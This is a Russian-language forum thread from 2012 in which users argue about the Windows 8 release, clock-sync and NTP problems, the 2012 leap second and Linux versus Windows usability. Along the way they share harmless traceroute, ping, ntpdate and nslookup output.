KF

Техника => Софт => Тема начата: Diozan от 26-10-2012, 17:12:32



Название: Она вышла...
Отправлено: Diozan от 26-10-2012, 17:12:32
Windows 8! Встречайте. А вот Windows 7 SP2 не будет.

Первый официальный покупатель зарегистрирован в Автралии. Это он.

(http://hi-tech.imgsmail.ru/hitech_img/9aef6b148d6c29f7fc5f139a99149f6d/r/600x450/i/b6/30/9eae98c5b542483d358140378af6.jpg)


Название: Re: Она вышла...
Отправлено: ALTi от 26-10-2012, 17:14:51
Не "вышла", а "поступила в продажу", ртм в августе ещё вышел.


Название: Re: Она вышла...
Отправлено: Diozan от 26-10-2012, 17:26:14
Не "вышла", а "поступила в продажу", ртм в августе ещё вышел.
Вышла в люди...


Название: Re: Она вышла...
Отправлено: ALTi от 26-10-2012, 17:33:31
Да и фиг с ней, кому надо - давно уже скачали.


Название: Re: Она вышла...
Отправлено: холодец петрович от 26-10-2012, 17:34:19
и?


Название: Re: Она вышла...
Отправлено: MakLesha от 26-10-2012, 17:44:36
Так, к сведенью:
Попробуйте на Windows 8 вычислить вот эту функцию:
045^{0,999{(13)}
----------------
ɤ76^:ss=(???)
На это ей потребовалось 49 часов!!!
А Windows ХР с этой задачей справляется за 3 минуты и 22 секунды
A Windows Vista - за 7 часов.
А Windows 7 за 5 часов 45 секунд.
Напрашивается вывод, 8-ка пригодна только для полистывания пальчиком и не более того.
Для серьезных программ она вообще не пригодна.
Думайте, господа, думайте, к чему всё идет.  ::)


Название: Re: Она вышла...
Отправлено: AdmiRaL33 от 26-10-2012, 17:50:30
прочитав название темы, так и подумал, что тут про восьмёру трут


Название: Re: Она вышла...
Отправлено: de_Fetos от 26-10-2012, 18:39:42
Угу. Думал что толковое напишут про неё. Отзыв какой или ещё что. Хотя увидев автора заподозрил неладное, и не зря.


Название: Re: Она вышла...
Отправлено: So good от 26-10-2012, 18:41:13
стоит уже месяца 2. Мне нравиться.


Название: Re: Она вышла...
Отправлено: 1 от 26-10-2012, 18:43:20
(спижжено отсюда : http://cwer.ws/node/303057/)

Так, к сведенью:
Попробуйте на Windows 8 вычислить вот эту функцию:
Куда ее вставлять то эту функцию?
Расскажи - попробуем.


Название: Re: Она вышла...
Отправлено: Diozan от 26-10-2012, 19:55:10
Угу. Думал что толковое напишут про неё. Отзыв какой или ещё что.

А что про неё толкового можно написать?


Название: Re: Она вышла...
Отправлено: Graf101 от 26-10-2012, 20:55:37
да, про функцию очинтересно


Название: Re: Она вышла...
Отправлено: ITM от 26-10-2012, 20:56:47
Windows 8! Встречайте. А вот Windows 7 SP2 не будет.

Первый официальный покупатель зарегистрирован в Автралии. Это он.

(http://hi-tech.imgsmail.ru/hitech_img/9aef6b148d6c29f7fc5f139a99149f6d/r/600x450/i/b6/30/9eae98c5b542483d358140378af6.jpg)

и ?


Название: Re: Она вышла...
Отправлено: AdmiRaL33 от 26-10-2012, 20:57:31
завидуем ...


Название: Re: Она вышла...
Отправлено: Diozan от 26-10-2012, 20:59:21
и ?

Ю...


Название: Re: Она вышла...
Отправлено: viy от 26-10-2012, 22:12:55
Куда ее вставлять то эту функцию?
Расскажи - попробуем.
Да, епть... Какая прга занимаецца такими вычислениями то? мне вот тут нужно несколько сотен формул просчитать, там точность нужна до 20-го знака после запятой, а все куркуляторы округляют до 10-го знака за каким-то хреном...


Название: Re: Она вышла...
Отправлено: de_Fetos от 26-10-2012, 23:05:53
А что про неё толкового можно написать?

Ты? Ничего.


Название: Re: Она вышла...
Отправлено: de_Fetos от 26-10-2012, 23:06:38
Да, епть... Какая прга занимаецца такими вычислениями то? мне вот тут нужно несколько сотен формул просчитать, там точность нужна до 20-го знака после запятой, а все куркуляторы округляют до 10-го знака за каким-то хреном...

Сделай сдвиг запятой на 10 знаков и вычисляй. Дело в то.


Название: Re: Она вышла...
Отправлено: Diozan от 27-10-2012, 13:39:01
Ты? Ничего.
Ну так напиши ты. Или ты теперь только по гейпадам специализируешься?



Название: Re: Она вышла...
Отправлено: de_Fetos от 27-10-2012, 20:06:49
Ну так напиши ты. Или ты теперь только по гейпадам специализируешься?

Дися, не читатель? Дися, писатель?

Или у тебя, Дися, русский не родной и ты не понял, что я написал на прошлой странице?


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 19:10:34
Уже упала. С семёркой так же было...
http://supreme2.ru/1614-win8-visit/ (http://supreme2.ru/1614-win8-visit/)

А у жены вообще прикол вышел. Её ПО начало жаловаться на просроченные сертификаты. На моё замечание, что контора их просто продлить/обновить не успела было дано замечание, что не должно быть так. Контора, вроде бы серьёзная. Стал ковырять. Наковырял... От смеха аж в попе закололо. Винда, блин...



Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 19:23:36
По крайней мере сервера от лишней секунды по всему миру не падают. Там больше смеха было.


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 20:13:41
По крайней мере сервера от лишней секунды по всему миру не падают. Там больше смеха было.

Да, конечно.  Сумасшедшее время 23:59:60 любой и человек и сервер воспримет неоднозначно. Уж, по крайней мере проверит, не сломались ли часы. А Винде пох, сломались они или нет. Юзер и так съест. Даже если ему на месяц вперёд время перевести.

Кстати, ту проблему я познал только по статьям. У меня ни один линуксовый сервер не гикнулся, хотя NTP везде запущен.


Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 20:18:59
А Винде пох, сломались они или нет. Юзер и так съест. Даже если ему на месяц вперёд время перевести.

Никогда не говорите ничего, о чём не имеете ни малейшего представления.


Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 20:24:10
Кстати, ту проблему я познал только по статьям. У меня ни один линуксовый сервер не гикнулся, хотя NTP везде запущен.

" Например, упал ThePirateBay, у Reddit случились проблемы с серверной явой, у многих отвалился OpenVPN." http://bugtraq.ru/rsn/archive/2012/07/01.html, "
Как сообщается, со связанными с этим проблемами столкнулись множество сайтов, включая сайты Mozilla, LinkedIn, Reddit, FourSquare, Gawker и другие." http://news.softodrom.ru/ap/b14640.shtml, "Из-за високосной секунды (23:59:60), добавленной в субботу к стандарту Всемирного координированного времени UTC, на некоторое время вышли из строя многочисленные онлайн-сервисы, в том числе такие как LinkedIn и ReddIT, а также система бронирования авиабилетов австралийской компании Quantas. Как правило, сбой удавалось устранить путем временного отключения протокола синхронизации времени NTP, корректировки времени и перезагрузки серверов.

Перебои связывают с ошибками в обработке високосной секунды в ядре Linux, в платформе Hadoop, в СУБД Cassandra и в Java. Однако, директор по технологиям компании DataStax и создатель Cassandra Джонатан Эллис утверждает, что СУБД и Java тут ни при чем, а настоящим виновником является ошибка блокировки в ядре Linux, которую устранили в заплате, вышедшей в марте. В Oracle, в чьем ведении находится Java, в свою очередь, от комментариев воздерживаются. Средства мониторинга работы систем указывали на то, что причиной перегрузки и сбоя после високосной секунды могли быть различные приложения, но реальная причина лежала глубже, утверждает Эллис. Сообщений о сбоях оказалось так много, что возникшую ситуацию даже сравнивают с новой «проблемой 2000 года»."


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 20:42:17
Никогда не говорите ничего, о чём не имеете ни малейшего представления.

На картинку посмотри. С каких это пор сегодня 1-е декабря оказалось? Поверь, это не монтаж. Принтскрин был снят сегодня, сразу же, как только я проблему нашёл. Сначала на батарейку грешил, но когда она не держит аппаратные часы, дата обычно к 80-м годам прошлого тысячелетия скатывается.

.....

Всё это я читал и знаю. И поверь, это вполне адекватная реакция на неадекватные данные.  Спроси Вольфа, что делает нормальное приложение, когда величина его переменных выходит за отведённые им рамки. Buffer Overflow и Sementation Fault. Школьный пример: 65535+1=0? Да, для приложений, которые не отслеживают таких состояний (MS Exel был среди них). И какой-нибудь FAULT, для приложений, которые не допускают таких вещей.


Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 20:56:56
дата обычно к 80-м годам прошлого тысячелетия скатывается.

Дата скатывается в современных BIOS на момент выпуска этого BIOS.

И поверь, это вполне адекватная реакция на неадекватные данные. 

А теперь представь, что сервер time.windows.com переполнен запросами, маршрут до него загажен. Не судьба traceroute time.windows.com сделать, прежде чем чушь писать ? Я вот сделал:

traceroute to time.windows.com (65.55.21.20), 30 hops max, 60 byte packets
 1  user (192.168.0.1)  2.324 ms  2.992 ms  3.062 ms
 2  192.168.4.36 (192.168.4.36)  3.809 ms  4.053 ms  4.238 ms
 3  192.168.4.33 (192.168.4.33)  4.422 ms  4.611 ms  4.860 ms
 4  192.168.4.1 (192.168.4.1)  5.840 ms  5.547 ms  8.779 ms
 5  192.168.2.1 (192.168.2.1)  5.020 ms  8.962 ms  9.656 ms
 6  95.66.187.101 (95.66.187.101)  10.911 ms  3.805 ms  4.865 ms
 7  xe130-1801.RT.MTS.VMR.RU.retn.net (87.245.244.129)  5.731 ms  5.930 ms  7.198 ms
 8  ae5-6.RT.TC2.AMS.NL.retn.net (87.245.233.254)  56.539 ms  56.930 ms  57.639 ms
 9  * * ams-ix-2.microsoft.com (195.69.145.21)  79.747 ms
10  ge-5-3-0-0.lts-64cb-1b.ntwk.msn.net (207.46.42.138)  100.203 ms  100.413 ms  100.615 ms
11  * ge-7-0-0-0.co1-64c-1b.ntwk.msn.net (207.46.40.90)  250.560 ms  251.350 ms
12  xe-0-1-2-0.blu-96c-1b.ntwk.msn.net (207.46.46.142)  162.068 ms  163.367 ms xe-5-2-0-0.co1-96c-1a.ntwk.msn.net (207.46.40.167)  238.960 ms
13  * ge-6-3-0-0.co1-64c-1b.ntwk.msn.net (207.46.40.78)  237.059 ms xe-0-0-1-0.co1-96c-1b.ntwk.msn.net (207.46.45.29)  236.643 ms
14  * * *
15  * * *
16  * * *
17  * * *
18  * * *
19  * * *
20  * * *
21  * * *
22  * * *
23  * * *
24  * * *
25  * * *
26  * * *
27  * * *
28  * * *
29  * * *
30  * * *
user@user-A8SR:~$


P.S. в случае вин tracert time.windows.com


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 21:13:49
А теперь представь, что сервер time.windows.com переполнен запросами, маршрут до него загажен. Не судьба traceroute time.windows.com сделать, прежде чем чушь писать ? Я вот сделал:

traceroute to time.windows.com (65.55.21.20), 30 hops max, 60 byte packets


30 хопов, из которых пять в твоём локальном сегменте, - это очень не много


Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 21:22:26
30 хопов, из которых пять в твоём локальном сегменте, - это очень не много

При чём тут количество хопов, когда на 13-м затык? Неужели не понятно? Есть другие сервера NTP незагруженые, как time.windows.com. Неужели нельзя голову включить и переключиться https://support.ntp.org/bin/view/Servers/StratumTwoTimeServers парой тройкой кликов мышью, не открывая консоль? Есть и страничка суппорта МС для этого http://support.microsoft.com/kb/262680/ru.
"Рекомендуется в настройках сервера времени, поддерживающего протокол SNTP, указывать адреса серверов второго уровня, поскольку они, как правило, расположены в близлежащих сетях и имеют лучшее время ответа."
 Ни для кого не секрет, что доля линукса очень малочислена и их сервера NTP практически не загруженые, в отличие от windows серверов, которые частенько перегружены.


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 23:07:04
Ты не верно трактуешь вывод трассировки.
На 13-ом не затык. Просто с этого места перестают доходить или возвращаться ICMP пакеты. Предположительно именно с этого места начинают действовать великие файрволлы Майкрософт.

Вот как выглядит трассировка www.microsoft.com по 80-му порту (ну не может он не ответить на этот запрос). Здесь ответы идут уже не ICMP, а TCP.

$ tcptraceroute www.microsoft.com 80
Tracing the path to www.microsoft.com (64.4.11.42) on TCP port 80 (http), 30 hops max
.....
12  xe-4-0-1-0.bay-16c-1a.ntwk.msn.net (207.46.40.10)  292.649 ms  290.988 ms  290.733 ms
13  * * *
14  64.4.11.42 [open]  287.901 ms  289.700 ms  290.578 ms

Как видишь, 13-й хоп молчит в тряпочку, но 14-й проходит и это он САМ.


Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 23:18:43
Ты не верно трактуешь вывод трассировки.

Может и так, однако задержки там очень большие, поэтому софт для синхронизации с NTP просто тупо завершает свою работу после определённого времени, не дождавшись отклика.

ping time.windows.com
PING time.microsoft.akadns.net (65.55.21.24) 56(84) bytes of data.
^C
--- time.microsoft.akadns.net ping statistics ---
104 packets transmitted, 0 received, 100% packet loss, time 103020ms


Так что не стоит грешить на win и просто переключиться, как советует сама же МС на более доступные адреса серверов NTP, с меньшим временем доступа. Или совсем уж тупо дождаться, когда доступ на сервер NTP МС time.windows.com освободится. 


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 23:32:22
Может и так, однако задержки там очень большие, поэтому софт для синхронизации с NTP просто тупо завершает свою работу после определённого времени, не дождавшись отклика.

ping time.windows.com
PING time.microsoft.akadns.net (65.55.21.24) 56(84) bytes of data.
^C
--- time.microsoft.akadns.net ping statistics ---
104 packets transmitted, 0 received, 100% packet loss, time 103020ms


Так что не стоит грешить на win и просто переключиться, как советует сама же МС на более доступные адреса серверов NTP, с меньшим временем доступа. Или совсем уж тупо дождаться, когда доступ на сервер МС освободится. 

Если клиент не дождался ответа от сервера, тупа выскакивает сообщение о невозможности синхронизировать.

Пакеты в пингах теряются не от того, что сервер какой-то сверхперенаперегруженный, а просто потому, что он игнорирует твои пинги (политика такая у Майкрософт).

Ну и кроме того, протокол NTP достаточно ителектуальный для того, что бы все эти задержки учесть. Да и time.windows.com - это не один агрегат, а целый пул серверов....
Код:
# ntpdate time.windows.com
 1 Nov 23:28:24 ntpdate[19643]: step time server 65.55.21.24 offset -16.598315 sec
Код:
# ntpdate time.windows.com
 1 Nov 23:32:47 ntpdate[19727]: adjust time server 65.55.21.20 offset 0.013459 sec


Всё работает. Но использовать его для своих нужд не советую. Лучше уж по старинке ru.pool.ntp.org


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 23:41:46
Кстати, интересный результат выдала совершенно невинная команда по этим самым серверам.

Код:
# nslookup 65.55.21.20
Server:         192.168.1.1
Address:        192.168.1.1#53

Non-authoritative answer:
20.21.55.65.in-addr.arpa        name = wwwco1test12.microsoft.com.



Код:
# nslookup 65.55.21.24
Server:         192.168.1.1
Address:        192.168.1.1#53

Non-authoritative answer:
24.21.55.65.in-addr.arpa        name = wwwco1test16.microsoft.com.


Смущает test12 и test16 в их именах. А наверное есть test1 и test2 и, может быть, test вплоть до 65535.

Это что же, серверы до сих пор не вышли на уровень продуктивных, а используются как отладочные? На нас с вами опыты ставят по засылке в будущее?


Название: Re: Она вышла...
Отправлено: Watchman от 01-11-2012, 23:47:54
Скажите, вот эта надпись, она как-то нарушила работу Вашей системы?
В отличии от 60-й секунды Линукса которая уронила кучу всего на ровном месте.


Название: Re: Она вышла...
Отправлено: Diozan от 01-11-2012, 23:50:37
Скажите, вот эта надпись, она как-то нарушила работу Вашей системы?
В отличии от 60-й секунды Линукса которая уронила кучу всего на ровном месте.

Читайте пост №20, с чего всё началось. Клиенты перестали к серверам цепляться.



Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 23:53:05
Это что же, серверы до сих пор не вышли на уровень продуктивных, а используются как отладочные? На нас с вами опыты ставят по засылке в будущее?

Да-да! Как 9000 недоосей с софтом тестируют на юзверях, не доходя даже до альфы.


Название: Re: Она вышла...
Отправлено: mech от 01-11-2012, 23:58:21
Читайте пост №20, с чего всё началось. Клиенты перестали к серверам цепляться.

В следующий раз когда у меня начнёт косячить КИСС с маршрутизацией или у айтинета к КФ доступа не будет свалю всё на линукс и обосру по полной. Потому как мой клиент, в лице браузера и недооси, не цепляется с различным серверам.


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 00:20:23
Читайте пост №20, с чего всё началось. Клиенты перестали к серверам цепляться.

Я внимательно прочитал и повторяю вопрос:

Скажите, вот эта надпись, она как-то нарушила работу Вашей системы, в отличии от 60-й секунды Линукса которая уронила кучу всего на ровном месте?


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 00:21:38
В следующий раз когда у меня начнёт косячить КИСС с маршрутизацией или у айтинета к КФ доступа не будет свалю всё на линукс и обосру по полной.

Пошёл жарить семки...

Блин, придумайте USB пылесос, что бы скорлупки из-под клавиш вытягивать...


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 00:23:09
Я внимательно прочитал и повторяю вопрос:

Скажите, вот эта надпись, она как-то нарушила работу Вашей системы, в отличии от 60-й секунды Линукса которая уронила кучу всего на ровном месте?

Я может не понял, о какой надписи идёт речь? Сопровождайте свои вопросы цитатами или ссылками, что бы избежать недопонимания.


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 00:28:40
Вы сами дали ссылку на надпись только что - пост #20. Третий раз задам вопрос:

Скажите, вот эта надпись, она как-то нарушила работу Вашей системы, в отличии от 60-й секунды Линукса которая уронила кучу всего на ровном месте?


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 00:34:23
...не доходя даже до альфы.

Первая версия Линукса имела номер 0.01 и была работоспособная. Первая же версия Виндовса имела номер 1.0 и оказалась совершенно неработоспособной.

Вы сами дали ссылку на надпись только что - пост #20. Третий раз задам вопрос:
Обведённая красным овалом?


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 00:37:20
Я так понимаю вы не способны ответить на простой вопрос и потому играете в словоблудие в попытке уйти от вопроса.

Всё ясно.


Название: Re: Она вышла...
Отправлено: mech от 02-11-2012, 00:39:46
Первая версия Линукса имела номер 0.01 и была работоспособная.

Это чем же она была работоспособной?

"Никакого сообщения о выходе версии 0.01 системы Linux не было сделано. Исходные тексты версии 0.01 даже не могли быть собраны в единую работающую систему. В них содержались лишь изолированные обрывки исходных текстов ядра системы; предполагалось, что у пользователя есть доступ к системе Minix, в которой эти тексты можно было компилировать, чтобы затем иметь возможность экспериментировать с системой Linux." http://docs.altlinux.org/archive/2.3/junior/alt-docs-extras-linuxnovice/ch01.html

Diozan, заканчивайте уже народ смешить вашими пуками в лужу.


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 00:39:52
Первая версия Линукса имела номер 0.01 и была работоспособная. Первая же версия Виндовса имела номер 1.0 и оказалась совершенно неработоспособной.

Линукс - продолжение NIX систем. Не стоит ввобить окружающих в заблуждение.

Также обманом является то, что Win 1.0 была операционной системой - это не так. Хотя не уверен, что вам это известно.

Или вы пытаетесь сравнить операционную систему с надстройкой, имеющей концепцию дальнейшего развития графического интерфейса?
Диозан, вы можете сколько угодно упрекать форды середины века в том, что у них не было автоматов и инжектеров, это лишь покажет то, что вы не разбираетесь в истории предмета, не более.


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 01:14:30
Линукс - продолжение NIX систем.

Linux является бесплатной версией системы UNIX, ... Эта фраза по приведённой ссылке меня удивила. Линукс никогда не был версией Unixa.

Или вы пытаетесь сравнить операционную систему с надстройкой, имеющей концепцию дальнейшего развития графического интерфейса?
Я всё это прекрасно знаю. Но суть не в том. Ибо чистый Линукс - это тоже не операционная система. А Novell Netware? Она операционная система, или надстройка над DOS, из-под которого запускается? Тоже не понятно. Назовём всё это "продуктом". Что с того? Продукт Windows 1.0 был не работоспособным.
А вот продукты под Линукс с версиями до 1.0 вполне себе работают.

Да и не в версиях дело, а в том, что такая мегакорпорация, как Майкрософт, могла бы в 2010-м добавить поддержку современных контроллеров (коим является AHCI), как это любят говорить "из каропки".


Я так понимаю вы не способны ответить на простой вопрос и потому играете в словоблудие в попытке уйти от вопроса.
Всё ясно.

Ещё раз повторюсь. О какой надписи идёт речь? Процитируйте её и мной будет дан чёткий ответ.


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 01:26:20
Вы даже не знаете к какому семейству относится Линукс и на каком ядре построен. Что ж не удивительно, что вы так рассуждаете.

Также вы утверждали, что Линукс 0.01 прекрасно работал, но как только вам показали что это не так, вы переключились на Линукс 1.0. Вы не способны отвечать за свои слова и признавать свои ошибки, Диозан.

Что касается надписи, то в посте 20 идёт речь про одну надпись и там один скриншот с одним выделенным фрагментом, т.е. речи про неоднозначность толкование не идёт, но вы продолжаете делать вид, что вам не понятно, что в общем-то понятно. Эту надпись обсуждают дальше и вы на ней акцентируете внимание постоянно, но как только её упоминание всплывает в неудобной формулировке, вы сразу перестаёте понимать про что речь.

Но я могу и четвёртый раз задать вопрос:
Скажите, вот эта надпись, она как-то нарушила работу Вашей системы, в отличии от 60-й секунды Линукса которая уронила кучу всего на ровном месте?


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 02:17:37
Вы даже не знаете к какому семейству относится Линукс и на каком ядре построен. Что ж не удивительно, что вы так рассуждаете.
Не путаем Unix и Unix-like. Linux - Unix-like, но не Unix.

Также вы утверждали, что Линукс 0.01 прекрасно работал, но как только вам показали что это не так, вы переключились на Линукс 1.0.
До 1.0. И не Линукс, а продукты под Линукс. Внимательнее читаем и учимся отвечать за свои слова.

Что касается надписи, то в посте 20 идёт речь про одну надпись и там один скриншот с одним выделенным фрагментом, т.е. речи про неоднозначность толкование не идёт, но вы продолжаете делать вид, что вам не понятно, что в общем-то понятно. Эту надпись обсуждают дальше и вы на ней акцентируете внимание постоянно, но как только её упоминание всплывает в неудобной формулировке, вы сразу перестаёте понимать про что речь.
Теперь я понял, что речь идёт именно о ней. Дальше обсуждение этой надписи происходит не ВЕЗДЕ, а только в 25 посте. Потом идёт обсуждение хопов до различных серверов и их загруженность, и только после них  упоминание про "эту надпись" в 33-ем посте. , т.е. через 13 постов после выделения самой надписи. Естественно я предположил, что "эта надпись" расположена где-то в постах про хопы. Так что то, что однозначно для вас, не совсем однозначно для других.

Отвечаю, как и обещал. Сама эта надпись не могла нарушить ничего, как надпись "смерть капитализму" не могла уничтожить капитализм. Но эта надпись отображала настройку системных часов и календаря. А вот эти неправильные настройки (читайте пост 20, с чего всё началось) привели к тому, что сертификаты серверов, (их срок заканчивается 20 ноября, т.е. на нынешнее время они рабочие), были признаны просроченными, естественно, что клиентская программа тупо не коннектилась к серверу и была нарушена работа всей системы клиент-сервер. И если бы я, по доброте своей душевной, не разобрался и не поправил время, то всё так бы и стояло, ибо очередное обновление времени Windows производит всего раз в неделю


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 02:23:23
Не путаем Unix и Unix-like. Linux - Unix-like, но не Unix.
Выше было написано "Линукс - продолжение NIX систем." Вы оспорили именно это, что показывает ваше незнание в данном вопросе.

Цитировать
До 1.0. И не Линукс, а продукты под Линукс. Внимательнее читаем и учимся отвечать за свои слова.
Вы правы. Внимательнее читаем и учимся отвечать за свои слова. Вот ваши:
Первая версия Линукса имела номер 0.01 и была работоспособная

Эти слова - ложь.

Цитировать
Отвечаю, как и обещал. Сама эта надпись не могла нарушить ничего, как надпись "смерть капитализму" не могла уничтожить капитализм. Но эта надпись отображала настройку системных часов и календаря. А вот эти неправильные настройки (читайте пост 20, с чего всё началось) привели к тому, что сертификаты серверов, (их срок заканчивается 20 ноября, т.е. на нынешнее время они рабочие), были признаны просроченными, естественно, что клиентская программа тупо не коннектилась к серверу и была нарушена работа всей системы клиент-сервер. И если бы я, по доброте своей душевной, не разобрался и не поправил время, то всё так бы и стояло, ибо очередное обновление времени Windows производит всего раз в неделю

Вы ответили на удобную вам часть вопроса, но не на весь вопрос. Задать его вам в пятый раз? Или опять сделаете вид, что не поняли вопроса, в пятый раз?


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 08:26:48
Выше было написано "Линукс - продолжение NIX систем." Вы оспорили именно это, что показывает ваше незнание в данном вопросе.
И продолжаю оспаривать. Не продолжение уж точно. Ибо с появлением Линукса, Юникс продолжает существовать и здравствовать отдельно от Линукс, будучи, быть может, менее востребованным.

Вы ответили на удобную вам часть вопроса, но не на весь вопрос. Задать его вам в пятый раз? Или опять сделаете вид, что не поняли вопроса, в пятый раз?

Да хоть десятый. Система была неработоспособна, ибо была парализована работа выполняющейся в ней программы по причине системного сбоя, вызванного ошибкой синхронизации времени. Так пойдёт, господин Де_Фетос№2?


Название: Re: Она вышла...
Отправлено: Watchman от 02-11-2012, 12:33:29
Почитал соседние темы, стало понятно, что у вас патологическое неприятие Виндоус, под любым надуманным поводом.

Также понятно, что в таком случае дискутировать нечего, ибо для вас маленькая надпись - это большая проблема, а глобальный сбой работоспособности - это мелочь.


Название: Re: Она вышла...
Отправлено: mech от 02-11-2012, 21:41:53
Почитал соседние темы, стало понятно, что у вас патологическое неприятие Виндоус, под любым надуманным поводом.

Также понятно, что в таком случае дискутировать нечего, ибо для вас маленькая надпись - это большая проблема, а глобальный сбой работоспособности - это мелочь.

Соглашусь, целиком и полностью.


Название: Re: Она вышла...
Отправлено: Franco от 02-11-2012, 22:51:28
И продолжаю оспаривать. Не продолжение уж точно. Ибо с появлением Линукса, Юникс продолжает существовать и здравствовать отдельно от Линукс, будучи, быть может, менее востребованным.

Да хоть десятый. Система была неработоспособна, ибо была парализована работа выполняющейся в ней программы по причине системного сбоя, вызванного ошибкой синхронизации времени. Так пойдёт, господин Де_Фетос№2?

Дизя, а если я отчет не могу напечатать, потому что у меня шрифты в поля записей не вмещаются, а сами листы бьются на страницы печати совершенно произвольным образом - это называется рабочая система?


Название: Re: Она вышла...
Отправлено: Diozan от 02-11-2012, 23:15:11
Дизя, а если я отчет не могу напечатать, потому что у меня шрифты в поля записей не вмещаются, а сами листы бьются на страницы печати совершенно произвольным образом - это называется рабочая система?

Больше похоже на кривые руки и незнание матчасти.


Название: Re: Она вышла...
Отправлено: mech от 02-11-2012, 23:43:04
Больше похоже на кривые руки и незнание матчасти.

У всех юзеров, при заявленой "полной" совместимости убогого форка и форка форкнутого форка?


Название: Re: Она вышла...
Отправлено: Diozan от 03-11-2012, 00:11:26
У всех юзеров...
Это тебе ОБрайен сказал, что у всех, а не у одного него?. Или вы рядом работаете, или одно лицо?

...при заявленой "полной" совместимости...
Кем заявленной?


Название: Re: Она вышла...
Отправлено: Franco от 03-11-2012, 12:06:43
Больше похоже на кривые руки и незнание матчасти.
Предположим, что я - домохозяйка, мне надо, чтобы я из коробки вынул, поставил и оно заработало.
С вендой этот номер проходит.
С убунтой - хрен.
Пару-тройку часов я угробил, чтобы заставить всю эту хрен работать так, чтобы меня устроило.
Не ты ли вопил, что венда из коробки ничего не умеет, а линух - умеет все и любая домохозяйка с ним справится?
Сейчас тебя ткнули рылом в тот факт, что необходимый для элементарной работы софт не выполняет свою функцию  - ты начинаешь вопить, что у меня руки кривые. Тогда почему мне удалось более-менее все настроить (до следующего раза)?
Из свежего: почему при распахивании окна на весь экран в убунте 12,10 (гном) пропадают кнопки управления окном, и для того, чтобы их увидеть надо изменить размер окна, клацнув по его заголовку?
Я не уверен, что любая домохозяйка в курсе, что клацаньем по заголовку можно размер окна изменить, следовательно у нее нет возможность окно закрыть, свернуть или изменить размер.
Почему сервера обновлений регулярно лежат и приходится обновляться хрен знает откуда, причем выставлять сервер надо вручную? Последнее обновление с российского сервера не пошло, пришлось вручную переключать на основной.


Название: Re: Она вышла...
Отправлено: Diozan от 03-11-2012, 14:04:23
Шрифты настроить по своему требованию, что бы они в ячейки влазили - это не задача домохозяйки? Должен придти админ это сделать?

А указать несколько серверов обновлений религия не позволяет?

Я мало знаком со спецификой Убунты, а наборы репозиториев - это как раз та самая фигня, которую каждый производитель коверкает по своему, но в Генту я просто список удобных мне серверов перечисляю, и даже если 9 из 10 будет лежать, оставшийся один доведёт дело до конца.



Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 11:34:06
На экране все нормально.
А на печати - херня.
Указывал несколько серверов - не помогает. Лезет по первому и все тут.
Система должна РАБОТАТЬ БЕЗ ВМЕШАТЕЛЬСТВА ПОЛЬЗОВАТЕЛЯ. Я же каждый день  вынужден что-то подкручивать вместо того, чтобы заниматься собственно работой.


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 12:15:27
На экране все нормально.
А на печати - херня.
Указывал несколько серверов - не помогает. Лезет по первому и все тут.
Система должна РАБОТАТЬ БЕЗ ВМЕШАТЕЛЬСТВА ПОЛЬЗОВАТЕЛЯ. Я же каждый день  вынужден что-то подкручивать вместо того, чтобы заниматься собственно работой.

С печатью на недоосях не на PS принтерах всегда были траблы. А вот с обновлениями в synaptic есть опция "выбрать лучший сервер", насколько я помню в убунтах. С корбиновскими и яндексовскими зеркалами вроде работает.



Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 12:19:03
С печатью на недоосях не на PS принтерах всегда были траблы. А вот с обновлениями в synaptic есть опция "выбрать лучший сервер", насколько я помню в убунтах. С корбиновскими и яндексовскими зеркалами вроде работает.


Критерии выбора этого сервера осью - тайна за семью печатями.
И еще для Дизи - дык как быть с пропажей кнопок управления окном в гноме? Это тоже фича, а не баг?


Название: Re: Она вышла...
Отправлено: Diozan от 04-11-2012, 12:22:03
На экране все нормально.
А на печати - херня.
Очень странно. Образец сего документа можно получить ради интереса? Что за программа, что за система печати?

Указывал несколько серверов - не помогает. Лезет по первому и все тут.

Очень странно. Может не дожидаешься, пока таймаут отработается, в течении которого делается вывод о недоступности сервера?

Я же каждый день  вынужден что-то подкручивать вместо того, чтобы заниматься собственно работой.
Ну без первоначальной настройки не работает ни одна система. Один раз настроить всё и на долго не пробовал?


Название: Re: Она вышла...
Отправлено: Franco от 04-11-2012, 12:26:54
Очень странно. Образец сего документа можно получить ради интереса? Что за программа, что за система печати?
в среду. Я на работу не поеду ради этой хрени.
Очень странно. Может не дожидаешься, пока таймаут отработается, в течении которого делается вывод о недоступности сервера?
Я в ее работу по обновлению вообще не лезу. сервак выставил и смотрю через пару часов, у меня работы полно кроме настройки рабочего места.
Ну без первоначальной настройки не работает ни одна система. Один раз настроить всё и на долго не пробовал?
В этом-то вся прелесть убунты.
Вроде настроил, а с утра что-нибудь новенькое.
Вот венду настраивать для работы не надо работает из коробки. Не так как могла бы но зато и без глюков.

Дык что там с кнопкаме в гноме??? Фича?


Название: Re: Она вышла...
Отправлено: mech от 04-11-2012, 12:28:32
